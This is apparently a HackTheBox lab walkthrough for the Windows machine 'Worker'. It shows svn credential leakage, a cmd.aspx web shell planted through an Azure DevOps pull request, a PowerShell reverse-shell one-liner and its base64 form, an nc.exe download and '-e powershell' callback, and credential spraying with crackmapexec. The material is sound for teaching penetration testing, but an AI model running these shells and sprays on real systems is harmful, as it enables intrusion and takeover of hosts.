Worker is a Medium Windows box released back in August 2020.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ nmap -vvv -p- 10.10.10.203 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
Discovered open port 80/tcp on 10.10.10.203
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ nmap -sCV -p 80 10.10.10.203
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-27 12:27 CEST
Nmap scan report for 10.10.10.203
Host is up (0.47s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.16 seconds
Our nmap scan picked up port 80 so let's investigate it:
As expected our nmap scan finds an IIS windows server http service on port 80. Now when you're on HTB and you just started a machine, some ports take more time to open up. and running the nmap scan once again reveals other ports:
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ nmap -vvv -p- 10.10.10.203 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
Discovered open port 80/tcp on 10.10.10.203
Discovered open port 5985/tcp on 10.10.10.203
Discovered open port 3690/tcp on 10.10.10.203
So we run nmap on those ports to see what they are about:
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ nmap -sCV -p5985,3690 10.10.10.203
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-27 13:00 CEST
Nmap scan report for 10.10.10.203
Host is up (0.47s latency).
PORT STATE SERVICE VERSION
3690/tcp open svnserve Subversion
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.02 seconds
Now we know that we seem to have a MS-HTTPAPI on port 5985, and on port 3690 we have a snvserver service, let's enumerate it with svn
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ svn --help
usage: svn [options] [args]
Subversion command-line client.
Type 'svn help ' for help on a specific subcommand.
Type 'svn --version' to see the program version and RA modules,
'svn --version --verbose' to see dependency versions as well,
'svn --version --quiet' to see just the version number.
Most subcommands take file and/or directory arguments, recursing
on the directories. If no arguments are supplied to such a
command, it recurses on the current directory (inclusive) by default.
Available subcommands:
add
auth
blame (praise, annotate, ann)
cat
changelist (cl)
checkout (co)
cleanup
commit (ci)
copy (cp)
delete (del, remove, rm)
diff (di)
export
help (?, h)
import
info
list (ls)
lock
log
merge
mergeinfo
mkdir
move (mv, rename, ren)
patch
propdel (pdel, pd)
propedit (pedit, pe)
propget (pget, pg)
proplist (plist, pl)
propset (pset, ps)
relocate
resolve
resolved
revert
status (stat, st)
switch (sw)
unlock
update (up)
upgrade
Subversion is a tool for version control.
For additional information, see http://subversion.apache.org/
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ svn checkout svn://10.10.10.203
A dimension.worker.htb
A dimension.worker.htb/LICENSE.txt
A dimension.worker.htb/README.txt
A dimension.worker.htb/assets
A dimension.worker.htb/assets/css
A dimension.worker.htb/assets/css/fontawesome-all.min.css
A dimension.worker.htb/assets/css/main.css
A dimension.worker.htb/assets/css/noscript.css
A dimension.worker.htb/assets/js
A dimension.worker.htb/assets/js/breakpoints.min.js
A dimension.worker.htb/assets/js/browser.min.js
A dimension.worker.htb/assets/js/jquery.min.js
A dimension.worker.htb/assets/js/main.js
A dimension.worker.htb/assets/js/util.js
A dimension.worker.htb/assets/sass
A dimension.worker.htb/assets/sass/base
A dimension.worker.htb/assets/sass/base/_page.scss
A dimension.worker.htb/assets/sass/base/_reset.scss
A dimension.worker.htb/assets/sass/base/_typography.scss
A dimension.worker.htb/assets/sass/components
A dimension.worker.htb/assets/sass/components/_actions.scss
A dimension.worker.htb/assets/sass/components/_box.scss
A dimension.worker.htb/assets/sass/components/_button.scss
A dimension.worker.htb/assets/sass/components/_form.scss
A dimension.worker.htb/assets/sass/components/_icon.scss
A dimension.worker.htb/assets/sass/components/_icons.scss
A dimension.worker.htb/assets/sass/components/_image.scss
A dimension.worker.htb/assets/sass/components/_list.scss
A dimension.worker.htb/assets/sass/components/_table.scss
A dimension.worker.htb/assets/sass/layout
A dimension.worker.htb/assets/sass/layout/_bg.scss
A dimension.worker.htb/assets/sass/layout/_footer.scss
A dimension.worker.htb/assets/sass/layout/_header.scss
A dimension.worker.htb/assets/sass/layout/_main.scss
A dimension.worker.htb/assets/sass/layout/_wrapper.scss
A dimension.worker.htb/assets/sass/libs
A dimension.worker.htb/assets/sass/libs/_breakpoints.scss
A dimension.worker.htb/assets/sass/libs/_functions.scss
A dimension.worker.htb/assets/sass/libs/_mixins.scss
A dimension.worker.htb/assets/sass/libs/_vars.scss
A dimension.worker.htb/assets/sass/libs/_vendor.scss
A dimension.worker.htb/assets/sass/main.scss
A dimension.worker.htb/assets/sass/noscript.scss
A dimension.worker.htb/assets/webfonts
A dimension.worker.htb/assets/webfonts/fa-brands-400.eot
A dimension.worker.htb/assets/webfonts/fa-brands-400.svg
A dimension.worker.htb/assets/webfonts/fa-brands-400.ttf
A dimension.worker.htb/assets/webfonts/fa-brands-400.woff
A dimension.worker.htb/assets/webfonts/fa-brands-400.woff2
A dimension.worker.htb/assets/webfonts/fa-regular-400.eot
A dimension.worker.htb/assets/webfonts/fa-regular-400.svg
A dimension.worker.htb/assets/webfonts/fa-regular-400.ttf
A dimension.worker.htb/assets/webfonts/fa-regular-400.woff
A dimension.worker.htb/assets/webfonts/fa-regular-400.woff2
A dimension.worker.htb/assets/webfonts/fa-solid-900.eot
A dimension.worker.htb/assets/webfonts/fa-solid-900.svg
A dimension.worker.htb/assets/webfonts/fa-solid-900.ttf
A dimension.worker.htb/assets/webfonts/fa-solid-900.woff
A dimension.worker.htb/assets/webfonts/fa-solid-900.woff2
A dimension.worker.htb/images
A dimension.worker.htb/images/bg.jpg
A dimension.worker.htb/images/overlay.png
A dimension.worker.htb/images/pic01.jpg
A dimension.worker.htb/images/pic02.jpg
A dimension.worker.htb/images/pic03.jpg
A dimension.worker.htb/index.html
A moved.txt
Checked out revision 5.
So now we have a domain name dimension.worker.htb so let's add it to our hosts file:
[ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/worker]
→ sudo -i
[sudo] password for nothing:
┌──(root💀nowhere)-[~]
└─# echo '10.10.10.203 dimension.worker.htb worker.htb' >> /etc/hosts
┌──(root💀nowhere)-[~]
└─# ping -c1 worker.htb
PING dimension.worker.htb (10.10.10.203) 56(84) bytes of data.
64 bytes from dimension.worker.htb (10.10.10.203): icmp_seq=1 ttl=127 time=467 ms
--- dimension.worker.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 466.764/466.764/466.764/0.000 ms
┌──(root💀nowhere)-[~]
└─# ping -c1 dimension.worker.htb
PING dimension.worker.htb (10.10.10.203) 56(84) bytes of data.
64 bytes from dimension.worker.htb (10.10.10.203): icmp_seq=1 ttl=127 time=468 ms
--- dimension.worker.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 467.971/467.971/467.971/0.000 ms
┌──(root💀nowhere)-[~]
└─# exit
[ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/worker]
→
Now we enumerate the snv service further, since running svn checkout gave us revision 5 we now run svn diff to view the changes for revisions 2-3:
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ svn diff -r 2
Index: deploy.ps1
===================================================================
--- deploy.ps1 (revision 2)
+++ deploy.ps1 (nonexistent)
@@ -1,6 +0,0 @@
-$user = "nathen"
-$plain = "wendel98"
-$pwd = ($plain | ConvertTo-SecureString)
-$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
-$args = "Copy-Site.ps1"
-Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
Index: moved.txt
===================================================================
--- moved.txt (nonexistent)
+++ moved.txt (revision 5)
@@ -0,0 +1,5 @@
+This repository has been migrated and will no longer be maintaned here.
+You can find the latest version at: http://devops.worker.htb
+
+// The Worker team :)
+
Now here we get a hint towards a certain deploy.ps1 file, and a certain devops.worker.htb subdomain which we will add to our hosts file. We seem to also get credentials nathen:wendel98. Attempting to get to http://devops.worker.htb gives us a basicauth login prompt onto which we use nathen's credentials:
And we get access to an Azure DevOps webpage into which we seem to be logged in as the user ekenas. We navigate into the SmartHotel 360 repository and we see the following project:
When we take a look at the pipelines we see the following:
Now here we get more infos, there seen to be a W:\ drive onto which there is a website root directory.Now let's navigate to the repo itself and clone it:
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ git clone http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral
Cloning into 'spectral'...
Username for 'http://devops.worker.htb': nathen
Password for 'http://nathen@devops.worker.htb':
remote: Azure Repos
remote: Found 57 objects to send. (84 ms)
Unpacking objects: 100% (57/57), 1.34 MiB | 150.00 KiB/s, done.
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ ls -lash dimension.worker.htb
total 56K
4.0K drwxr-xr-x 4 nothing nothing 4.0K Jun 27 13:03 .
4.0K drwxr-xr-x 5 nothing nothing 4.0K Jun 27 13:54 ..
4.0K drwxr-xr-x 6 nothing nothing 4.0K Jun 27 13:03 assets
4.0K drwxr-xr-x 2 nothing nothing 4.0K Jun 27 13:03 images
16K -rw-r--r-- 1 nothing nothing 15K Jun 27 13:03 index.html
20K -rw-r--r-- 1 nothing nothing 17K Jun 27 13:03 LICENSE.txt
4.0K -rw-r--r-- 1 nothing nothing 771 Jun 27 13:03 README.txt
Now from here, we have access to the files of spectral.worker.htb so what we can do is upload an .aspx command webshell onto the repository since we have nathen's credentials. Obviously as we saw earlier we also have access to the website itself after we add it to our hosts file:
So we should be able to upload our cmd webshell and also browse to it.
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/worker]
→ cd spectral
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral]
→ ls -lash
total 80K
4.0K drwxr-xr-x 5 nothing nothing 4.0K Jun 27 13:54 .
4.0K drwxr-xr-x 5 nothing nothing 4.0K Jun 27 13:57 ..
4.0K drwxr-xr-x 6 nothing nothing 4.0K Jun 27 13:54 assets
20K -rw-r--r-- 1 nothing nothing 18K Jun 27 13:54 elements.html
8.0K -rw-r--r-- 1 nothing nothing 4.9K Jun 27 13:54 generic.html
4.0K drwxr-xr-x 8 nothing nothing 4.0K Jun 27 13:54 .git
4.0K drwxr-xr-x 2 nothing nothing 4.0K Jun 27 13:54 images
8.0K -rw-r--r-- 1 nothing nothing 6.9K Jun 27 13:54 index.html
20K -rw-r--r-- 1 nothing nothing 17K Jun 27 13:54 LICENSE.txt
4.0K -rw-r--r-- 1 nothing nothing 1.3K Jun 27 13:54 README.txt
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral]
→ cp /usr/share/seclists/Web-Shells/FuzzDB/cmd.aspx cmd.aspx
Now we try to do a git commit to push our cmd webshell to the repository:
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral]
→ git add .
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral]
→ git commit -m 'nihilist'
[master 667034b] nihilist
1 file changed, 42 insertions(+)
create mode 100755 cmd.aspx
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral]
→ git push
Username for 'http://devops.worker.htb': nathen
Password for 'http://nathen@devops.worker.htb':
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 4 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 977 bytes | 977.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
remote: Analyzing objects... (3/3) (94 ms)
remote: Storing packfile... done (252 ms)
remote: Storing index... done (142 ms)
To http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral
! [remote rejected] master -> master (TF402455: Pushes to this branch are not permitted; you must use a pull request to update this branch.)
error: failed to push some refs to 'http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral'
Doesnt work so we just create a new branch:
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral]
→ git branch nihilist
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral]
→ git checkout nihilist
Switched to branch 'nihilist'
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral]
→ git push --set-upstream origin nihilist
Username for 'http://devops.worker.htb': nathen
Password for 'http://nathen@devops.worker.htb':
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 4 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 977 bytes | 977.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
remote: Analyzing objects... (3/3) (4 ms)
remote: Storing packfile... done (23 ms)
remote: Storing index... done (27 ms)
To http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral
* [new branch] nihilist -> nihilist
Branch 'nihilist' set up to track remote branch 'nihilist' from 'origin'.
This time our branch managed to get pushed, now we return to the azure git web interface, and we see our new branch:
Here we see our new branch, so we return to master to create a pull request in order to merge our repository into the master branch:
We basically need to add a random work item and then we just click Create:
Note: the git branches are regularly cleaned up so you need to create your PR and merge it quickly. Once the PR is created, we need to approve it:
Once it's approved we complete the branch merge:
And now our cmd.aspx file should be uploaded:
So now we get command execution as the iis apppool\defaultapppool user.
And as we can see, this box resets even the merges we did regularly, so we redo a PR to spawn a shell the second time once we are in cmd.aspx, we will use Invoke-PowerShellTcpOneLine.ps1:
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ locate Invoke-PowerShellTcp
/usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1
/usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1
/usr/share/nishang/Shells/Invoke-PowerShellTcpOneLineBind.ps1
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ locate Invoke-PowerShellTcpOneLine.ps1
/usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ cp $(locate Invoke-PowerShellTcpOneLine.ps1) .
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ vim Invoke-PowerShellTcpOneLine.ps1
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ cat Invoke-PowerShellTcpOneLine.ps1
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.11",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Now to be able to transfer it to the windows box, we need to convert it to a base64 format that windows will accept, to do so we use iconv -t utf-16le you won't see the difference without using xxd:
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ cat Invoke-PowerShellTcpOneLine.ps1
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.11",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ cat Invoke-PowerShellTcpOneLine.ps1| iconv -t utf-16le
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.11",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ cat Invoke-PowerShellTcpOneLine.ps1| xxd
00000000: 2463 6c69 656e 7420 3d20 4e65 772d 4f62 $client = New-Ob
00000010: 6a65 6374 2053 7973 7465 6d2e 4e65 742e ject System.Net.
00000020: 536f 636b 6574 732e 5443 5043 6c69 656e Sockets.TCPClien
00000030: 7428 2231 302e 3130 2e31 342e 3131 222c t("10.10.14.11",
00000040: 3930 3031 293b 2473 7472 6561 6d20 3d20 9001);$stream =
[...]
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ cat Invoke-PowerShellTcpOneLine.ps1| iconv -t utf-16le | xxd
00000000: 2400 6300 6c00 6900 6500 6e00 7400 2000 $.c.l.i.e.n.t. .
00000010: 3d00 2000 4e00 6500 7700 2d00 4f00 6200 =. .N.e.w.-.O.b.
00000020: 6a00 6500 6300 7400 2000 5300 7900 7300 j.e.c.t. .S.y.s.
00000030: 7400 6500 6d00 2e00 4e00 6500 7400 2e00 t.e.m...N.e.t...
00000040: 5300 6f00 6300 6b00 6500 7400 7300 2e00 S.o.c.k.e.t.s...
00000050: 5400 4300 5000 4300 6c00 6900 6500 6e00 T.C.P.C.l.i.e.n.
00000060: 7400 2800 2200 3100 3000 2e00 3100 3000 t.(.".1.0...1.0.
[...]
So we convert our powershell reverse shell one liner to utf-16le and then to base64 without new lines (we use -w0):
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker]
→ cat Invoke-PowerShellTcpOneLine.ps1| iconv -t utf-16le | base64 -w0
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAxACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkACgA=
Now that's ready we prepare our netcat listener on port 9001:
[ 10.10.14.11/23 ] [ /dev/pts/29 ] [HTB/worker/spectral]
→ nc -lvnp 9001
listening on [any] 9001 ...
And once we merged our nihilist git branch again we could use the following command on our aspx webshell:
/c powershell -enc BASE64ONELINERREVSHELLSTRING
Or we can just upload a reverse shell .aspx file directly:
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [HTB/worker/spectral]
→ wget https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx
--2021-06-27 16:00:31-- https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15968 (16K) [text/plain]
Saving to: ‘shell.aspx’
shell.aspx 100%[======================================================================================================================================================>] 15.59K --.-KB/s in 0.03s
2021-06-27 16:00:32 (491 KB/s) - ‘shell.aspx’ saved [15968/15968]
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [HTB/worker/spectral]
→ vim shell.aspx
# we change the destination ip and destination port to be 10.10.14.11 and port 9001
# protected void Page_Load(object sender, EventArgs e)
# {
# String host = "10.10.14.11"; //CHANGE THIS
# int port = 9002; ////CHANGE THIS
#
# [...]
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral]
→ git add .
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral]
→ git commit -m 'shell.aspx'
[nihilist 7d2a3e0] shell.aspx
1 file changed, 423 insertions(+)
create mode 100644 shell.aspx
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral]
→ git push --set-upstream origin nihilist
Username for 'http://devops.worker.htb': nathen
Password for 'http://nathen@devops.worker.htb':
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 4 threads
Compressing objects: 100% (6/6), done.
Writing objects: 100% (6/6), 4.68 KiB | 2.34 MiB/s, done.
Total 6 (delta 2), reused 0 (delta 0), pack-reused 0
remote: Analyzing objects... (6/6) (3 ms)
remote: Storing packfile... done (17 ms)
remote: Storing index... done (30 ms)
To http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral
* [new branch] nihilist -> nihilist
Branch 'nihilist' set up to track remote branch 'nihilist' from 'origin'.
merge the branches from devops.worker.htb as usual and use the netcat listener on port 9002, and apparently you can't even run that shell.aspx file, so instead we're going to use the netcat binary, we're going to drop it into C:\temp which is a directory we create from cmd.aspx:
[ 10.10.14.11/23 ] [ /dev/pts/34 ] [HTB/worker/spectral]
→ cp /home/nothing/HTB/json/nihilist/nc.exe .
[ 10.10.14.11/23 ] [ /dev/pts/34 ] [HTB/worker/spectral]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
[from cmd.aspx]
powershell -c iwr -Uri http://10.10.14.11:9090/nc.exe -O C:\temp\nc.exe
And then simply use the netcat binary directly C:\temp\nc.exe 10.10.14.11 9002 -e powershell.exe
[ 10.10.14.11/23 ] [ /dev/pts/29 ] [HTB/worker/spectral]
→ rlwrap nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.203] 51608
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
whoami
whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv>
And we get a reverse shell! Now a while back we saw that there was a W:\ drive so let's explore it:
cd W:\
cd W:\
dir
dir
Directory: W:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2020-06-16 18:59 agents
d----- 2020-03-28 14:57 AzureDevOpsData
d----- 2020-04-03 11:31 sites
d----- 2020-06-20 16:04 svnrepos
cd svnrepos\www\conf
Directory: W:\svnrepos\www\conf
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2020-06-20 11:29 1112 authz
-a---- 2020-06-20 11:29 904 hooks-env.tmpl
-a---- 2020-06-20 15:27 1031 passwd
-a---- 2020-04-04 20:51 4454 svnserve.conf
PS W:\svnrepos\www\conf> type passwd
And from this file we get alot of credentials in cleartext so we can make a wordlist of users and passwords to try with crackmapexec:
type passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.
[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
[...]
[ 10.10.14.11/23 ] [ /dev/pts/33 ] [~/HTB/worker]
→ cat creds.txt
nathen:wendel98
nichin:fqerfqerf
nichin:asifhiefh
noahip:player
nuahip:wkjdnw
oakhol:bxwdjhcue
owehol:supersecret
paihol:painfulcode
[...]
[ 10.10.14.11/23 ] [ /dev/pts/33 ] [~/HTB/worker]
→ awk -F: '{print $1}' creds.txt > users.txt
[ 10.10.14.11/23 ] [ /dev/pts/33 ] [~/HTB/worker]
→ awk -F: '{print $2}' creds.txt > passwords.txt
And we can just bruteforce the which of these credentials are valid for the winrm service using crackmapexec:
[ 10.10.14.11/23 ] [ /dev/pts/33 ] [~/HTB/worker]
→ crackmapexec winrm 10.10.10.203 -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
WINRM 10.10.10.203 5985 NONE [*] None (name:10.10.10.203) (domain:None)
WINRM 10.10.10.203 5985 NONE [*] http://10.10.10.203:5985/wsman
WINRM 10.10.10.203 5985 NONE [-] None\nathen:wendel98
WINRM 10.10.10.203 5985 NONE [-] None\nichin:fqerfqerf
WINRM 10.10.10.203 5985 NONE [-] None\nichin:asifhiefh
WINRM 10.10.10.203 5985 NONE [-] None\noahip:player
WINRM 10.10.10.203 5985 NONE [-] None\nuahip:wkjdnw
WINRM 10.10.10.203 5985 NONE [-] None\oakhol:bxwdjhcue
WINRM 10.10.10.203 5985 NONE [-] None\owehol:supersecret
WINRM 10.10.10.203 5985 NONE [-] None\paihol:painfulcode
WINRM 10.10.10.203 5985 NONE [-] None\parhol:gitcommit
WINRM 10.10.10.203 5985 NONE [-] None\pathop:iliketomoveit
WINRM 10.10.10.203 5985 NONE [-] None\pauhor:nowayjose
WINRM 10.10.10.203 5985 NONE [-] None\payhos:icanjive
WINRM 10.10.10.203 5985 NONE [-] None\perhou:elvisisalive
WINRM 10.10.10.203 5985 NONE [-] None\peyhou:ineedvacation
WINRM 10.10.10.203 5985 NONE [-] None\phihou:pokemon
WINRM 10.10.10.203 5985 NONE [-] None\quehub:pickme
WINRM 10.10.10.203 5985 NONE [-] None\quihud:kindasecure
WINRM 10.10.10.203 5985 NONE [-] None\rachul:guesswho
WINRM 10.10.10.203 5985 NONE [-] None\raehun:idontknow
WINRM 10.10.10.203 5985 NONE [-] None\ramhun:thisis
WINRM 10.10.10.203 5985 NONE [-] None\ranhut:getting
WINRM 10.10.10.203 5985 NONE [-] None\rebhyd:rediculous
WINRM 10.10.10.203 5985 NONE [-] None\reeinc:iagree
WINRM 10.10.10.203 5985 NONE [-] None\reeing:tosomepoint
WINRM 10.10.10.203 5985 NONE [-] None\reiing:isthisenough
WINRM 10.10.10.203 5985 NONE [-] None\renipr:dummy
WINRM 10.10.10.203 5985 NONE [-] None\rhiire:users
WINRM 10.10.10.203 5985 NONE [-] None\riairv:canyou
WINRM 10.10.10.203 5985 NONE [-] None\ricisa:seewhich
WINRM 10.10.10.203 5985 NONE [-] None\robish:onesare
WINRM 10.10.10.203 5985 NONE [+] None\robisl:wolves11 (Pwn3d!)
WINRM 10.10.10.203 5985 NONE [-] None\robive:andwhich
WINRM 10.10.10.203 5985 NONE [-] None\ronkay:onesare
WINRM 10.10.10.203 5985 NONE [-] None\rubkei:the
WINRM 10.10.10.203 5985 NONE [-] None\rupkel:sheeps
WINRM 10.10.10.203 5985 NONE [-] None\ryakel:imtired
WINRM 10.10.10.203 5985 NONE [-] None\sabken:drjones
WINRM 10.10.10.203 5985 NONE [-] None\samken:aqua
WINRM 10.10.10.203 5985 NONE [-] None\sapket:hamburger
WINRM 10.10.10.203 5985 NONE [-] None\sarkil:friday
And we get valid credentials for the robisl user! so let's spawn an evil-winrm session:
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral]
→ evil-winrm -i worker.htb -u robisl -p wolves11
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\robisl\Documents> whoami
worker\robisl
So now from here we can get the user flag:
